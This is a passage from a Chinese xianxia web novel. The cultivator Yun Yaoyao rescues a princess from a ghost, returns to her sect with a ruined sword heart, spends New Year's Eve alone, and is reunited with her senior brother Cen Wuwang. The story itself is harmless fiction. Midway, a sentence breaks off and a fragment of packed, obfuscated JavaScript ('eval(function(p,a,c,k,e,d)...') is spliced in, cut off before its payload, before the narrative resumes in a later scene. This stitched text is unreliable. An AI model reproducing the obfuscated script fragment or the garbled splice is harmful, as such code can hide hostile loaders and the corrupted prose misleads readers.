湖中仙人舟中眠,鬼影遁入湖心逃离不见。 探入湖中的丝线已经拉得很长,她能感受到湖中有萦绕留存的鬼气,可始终没有寻到憎愔,更没有探知到半分灵气。 整片湖就像是一片镜子,将两个世界隔开。 云杳窈看着水中自己的倒影,喃喃自语:“如果死者的路在水下,那生者呢?” 两道剑鸣划破天际。 自中原高空,传来一声四海皆可闻的巨响,赫赫之光,盖过高挂的丽日灿阳。 秘境在云杳窈等人回到蔚云城后迅速关闭,再难寻到踪迹。 剩下一颗枯萎的剑心,没有灵气运转,它化成了一颗婴儿拳头大的宝丹,直直往下坠落。 云杳窈当即御剑追赶,在剑心坠落的前一刻,她终于抓住了它。 云杳窈与剑心一同落地,她气喘吁吁,瘫坐在地,面无表情的将它收在怀中。 闻佩鸣与徐清与很快跟了过来,他们这才发现,出了秘境后,并没有回到蔚云城,而是落在不知哪片山林荒野。 三人拿出灵器定位。 好在这里虽然荒僻,却并不是无主之境,他们落在了襄华王都附近的山里,处于蔚云城东北,乾阳宗东南。 闻佩鸣以密令速速传信给天枢,让他在王都城外接应,只要出了这片山林,就能和天枢会合。 稍作休整,他们便顺着林间小道往山下走。 刚至山下,忽见鸟雀飞起,自西侧的大道上有一阵喧闹声响起。马嘶鸣间,刀箭噼啪乱响,鬼气冲天,有人在乱中大喊:“保护王姬!” 云杳窈还以为是憎愔,问天随她灵气驱使,比主人更先一步朝鬼气来源杀去。 一剑穿恶鬼,正在尖叫的女郎睁开眼,将袖子向下移动,露出一双飞扬姝丽的凤眼。 眼前的可怖鬼怪自腰部整齐斩开,自混沌鬼气中,先是亮出一柄寒光宝剑,而后看到了一位与她年岁相仿的女子,花容月貌,身姿翩然。 云杳窈看她惊魂未定,想起刚才侍卫的呼喊,露出一个温婉和善的笑,道:“在下是乾阳宗弟子云杳窈,王姬莫怕,恶鬼已除。” 说罢还递出一只手给她,想要拉她起身。 王姬将手搭在她手上,云杳窈见她年龄尚小,又是金枝玉叶的君王之女,控制着力道,生怕扯痛了她。 她轻轻一拉,没想到这位王姬身体一歪,向旁边倒去。 云杳窈刚想揽住她,幸好这时候有两位侍女冲了过来,及时扶住了她,她们惊叫:“王姬小心脚下!” 王姬晃着身子,好半天才稳住身形,她遇上恶鬼袭击,心魂惊惧,还紧拉着云杳窈的手。 她身上并没有多少骄矜脾气,听闻云杳窈是乾阳宗弟子,先是道了谢,而后邀请云杳窈同行:“救命之恩,无以为报,请仙子……” 云杳窈刚想婉拒,身后的闻佩鸣突然出现:“师姐,怎么不等等我们。” 猝不及防被他拍了肩膀,云杳窈回头一看,闻佩鸣与许晴来互相搀扶着,才跟上前来,她连忙扶过徐清来。 王姬打量了着三人身上的狼狈,掩面娇俏轻笑,道:“诸位不如随我入王都,新岁将至,城内热闹非凡,仙人不如暂留几日,再启程返回。” 乾阳宗少有人过尘俗节日,即便是新岁将至,于宗门众人来说,不过是意味着开启新的一年修行罢了。是以门内诸弟子仅在献岁时参与门内祭神。 刚入门的弟子,心性未定,或许还会思亲恋家。如云杳窈这样的人,多数是闭门不出,如常度日。 不过也有例外。 每年这时候,岑无望都会早早结束手中任务,将除夕这夜空出来,为她带回来些凡间时兴的新玩意儿作为礼物。其中必定有一枚当下凡间流通的钱币,当作压祟钱。 虽说踏上修仙道路,便要远离红尘,平时同门相处,鲜少以凡间俗礼约束,岑无望与云杳窈相处时,却甚少逾矩。自她搬到隐春宫长住,他从未去她房中打扰过。 唯独在除夕之夜,岑无望才会任云杳窈胡闹到天明,守岁时顺带向她说些山下驱妖斩鬼时遇见的趣事。 今年,逢朽生椿的烛火要由她独自虚耗了。 云杳窈握紧剑心化成的宝珠,道:“王姬盛情,本不该推阻……” 王姬眼神一错不错看着云杳窈,她听到前半句时,就知道她这是要拒绝。 本以为云杳窈会拿仙人避世的借口,没想到对面的少女微微一笑,眼神温柔缱绻。 “尚有人在门中待我守岁,不好让他空等。” 此话一出,所有人一楞。 闻佩鸣还以为她说的是晏珩,巧妙接话,应和道:“是啊,微尘长老想必也盼望你早日平安归来。” 见王姬欲言,他接着说:“天枢就在附近,我们还是赶快离开这里吧。” 几人向王姬告辞,将要离开时,王姬拉住云杳窈不知何时而破衣袖,道:“留步。” 她解下身上的银灰狐皮大氅,塞到云杳窈怀中,道:“我名姜娆。仙子恩重,无以为报,希望这件衣裳,能为仙子抵御片刻风寒。如若往后途径襄华,请仙子务必回到襄华王都,让我还报今日恩情。” 天寒地冻,云杳窈看到姜娆脸上很快被风吹得泛红,将大氅披回她身上。 “王姬美意,我心领了。若是有缘,自会重逢。” 远处,飞舟的阴影笼罩大地。云杳窈头也没回,随同门而去。 大雪飘零,欲将一切过往污秽留在旧年。 自这天起,世人皆知剑心在失落后毁于襄华的连绵的荒山。 飞舟再次停泊在山外空中,徐清与早已向师门传信。所以她们远远就看到几人在山下等待。 虽说飞舟内早有侍女等待为他们疗伤至于,备好新衣衫等待三人,然而她们身上的伤口半天内无法愈合。尤其是徐清与的腿伤,恐怕要好好修养一阵。 廖枫汀站在最前方,见到徐师妹的狼狈模样,未曾言语,默默扶过她,询问她此行遭遇。 两人同是怀璞长老门下,交流起来更随性些。徐清与正好有些事想拜托他去查找,两人便走在最前方,先进了山门前的迷阵。 花在溪挑挑眉,调侃道:“怎么这么狼狈?知道的,以为师妹是去大泽散心。不知道的,还以为有人在大泽内埋伏师妹呢。” 还真有埋伏。 云杳窈撇了闻佩鸣一眼,对方已拿到了扇子,虽说面色如常,但他在雪中不断扇着风,怎么看都是一副心虚模样。 “此行是我招待不周,若师姐往后还想散心,我必定倾尽照渊阁之力。明日,待我休整完毕,必当上门亲自赔罪。” 花在溪冷笑一声,难得正色:“那看来,问题是出在你身上了。” 闻佩鸣竟然过断认下,道:“此事我心中有愧。往后,只要云师姐向我提出的要求,我必定全力而为。” 花在溪翻了个白眼:“得了吧,错误已经酿成,不要钱的好听话谁不会说。” 闻佩鸣认真道:“凡她心中所想,凡我力所能及者,我会悉数为她奉上。” 花在溪揽住云杳窈肩膀,凑到她耳边:“看到了吗?这就叫巧言令色,男人的话,师妹不要信。当然,这些男人不包括我,我是一等一的好师兄,师兄我啊……” 他的声音不高不低,恰巧能让闻佩鸣听得一清二楚。 闻佩鸣皮笑肉不笑,用手中扇狠狠敲在花在溪手上。 花在溪道:“在乾阳宗境内,你还敢打云师妹。” 他看向云杳窈,道:“看到了吗?要不是花师兄护着你,这厮还想打你。” 闻佩鸣回他:“我方才瞄准的,是巧言令色之人。” “听说师弟还没有拜师,春日试炼将要开启,不如让我教你两招。” “那师兄可要想好,我剑未有败绩。” “口气不小,不知道剑术究竟如何。” “剑术一般,堪堪能打赢你。” 两人的眼神在空中交汇,硝烟弥漫,一红一青谁也不肯让步。 突然,花在溪先将目光移回云杳窈身上,道:“师妹,我御剑带你回去。” 闻佩鸣也说:“师姐,我送你回逢朽生椿。” 在两人的争执中,云杳窈摇摇头,道:“花师兄和闻师弟可结伴并行,我想与师兄单独走一会儿。” 她双手从披风中钻出来,掌心捧着一颗辉芒暗淡的珠子。 云杳窈对闻佩鸣说:“我确实有一件事需要拜托闻师弟。” 闻佩鸣眼中含光,笑着说:“师姐请说。” 云杳窈回他一个客气疏离的微笑:“往后若无要紧事,便不要来逢朽生椿扰我与师兄的清净了。我想,他可能不太愿意看到你。” 说完,她孤身离去,未多看他一眼。 花在溪见状,神色有点不自在,他看了看脸色黑下去的闻佩鸣,道:“那是何物?” 闻佩鸣这句没有呛他,回答:“是小剑君的残骸。” 花在溪怔愣片刻后,带着犹疑低声道:“剑心?” 闻佩鸣点头。 云杳窈已经带着珠子抬步,款款向山门走去,她单薄的背影很快就进入迷阵中,模糊到剩下一个清丽的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是她拿起细长的香,借殿内的火点燃,说:“我以后,可能不会日日都来命殿看望你。” 云杳窈再次强调:“我真的不来了,我有事要做的。” 寒风吹进殿内,原本袅袅升起的烟线突然凌乱,像是和她挥手似的。 “那就这么说好了。”云杳窈轻声,“我们就从此刻开始永别。” 日薄西山,残阳入暮。 云杳窈回到逢朽生椿时已经天黑,离开太久,门前的灯笼无人点燃。 今日是除夕,也是云杳窈独自在乾阳宗过的第一个除夕夜。 她为自己点燃烛火,无人陪她聊天打发时间,她就拿起房中没看完的书,准备熬过今夜。 白雪映窗,恍若白昼。 云杳窈听见窗棂敲打的声音,误以为有人造访,于是支起窗户去敲。 什么都没有,只是逢朽生椿无结界庇护,风雪误扰了此处清净。 屋内烛火明亮,她听着簌簌落下的雪,突然觉得孤独。 云杳窈倚在窗前,突然摸到空荡荡的鬓发,便抬手呼风唤雪,凝结出一朵冰花。 与碎掉的那朵很像,但每一片雪都是独一无二的,正如这世上,虽有重来之日,却难有相同之人。 天将明之际,云杳窈在逢朽生椿内沉沉睡去。 改岁宜新、应时纳祐。从今诸事愿、胜如旧。 因为整夜守岁,难免睡过了时辰。 云杳窈今日还要去宗务堂,将憎愔之时告知同门弟子,另寻记录,挂悬赏令,昭告同门,小心这只恶鬼。 檐下坚冰倒悬,云杳窈睡眼惺忪,咯吱咯吱踩着新雪推开门。 虽说将要迎来春日,可整个北方,冰雪未消,风寒料峭,云杳窈打了个喷嚏,眼前顿时被激出的眼泪模糊。 隔着模糊的眼前雾象,云杳窈看到了一人青衣白衫,立于树下等待。 如此寂寥的景色中,他身上那点静谧的青,就好似包裹在雪中的新芽,于枝下沉寂着,只待春风潜至此处,便能焕发出生意。 云杳窈以为是闻佩鸣,有点不耐烦。 “不是让你不要再来打扰了吗?” 树下之人话中笑意难以抑制:“才相逢,便说这些话,师兄也是会伤心的。” 刹那间,云杳窈还以为仍置身于梦中。 她眼前迷雾渐散,一切变得清晰起来。 他给人的第一感觉便是清。整个人如青竹般挺拔清瘦,如水般清澈甘冽,如月光般清明皎洁。肩背宽而薄,层层叠叠的衣袍拢着他,仍旧不会给人以沉闷感。 岑无望眉眼舒展,遥望云杳窈时,眸中未有半分气恼。 许久不见,他又清减许多。 云杳窈几步跑到他身前,仍旧不敢相信是师兄回来了。 直至岑无望主动张开怀抱,她才毫不犹豫扑进他怀里。喉中干涩,她好半天才找回声音。声音闷闷的,抱怨着:“冰花碎了,都怪你。” 岑无望看着云杳窈发顶,声色柔和,应下她的无赖埋怨:“嗯,都怪我。” 云杳窈的眼泪沁入他衣襟前,岑无望抬手为她整理鬓边碎发。 “所以师兄带了赔礼回来。” 春风未至,岑无望连剑都丢了,两手空荡荡归来。 云杳窈从他怀中抬头,正要四处张望寻找,忽而从他袖中飞出一只蝴蝶,翩然落在云杳窈发间。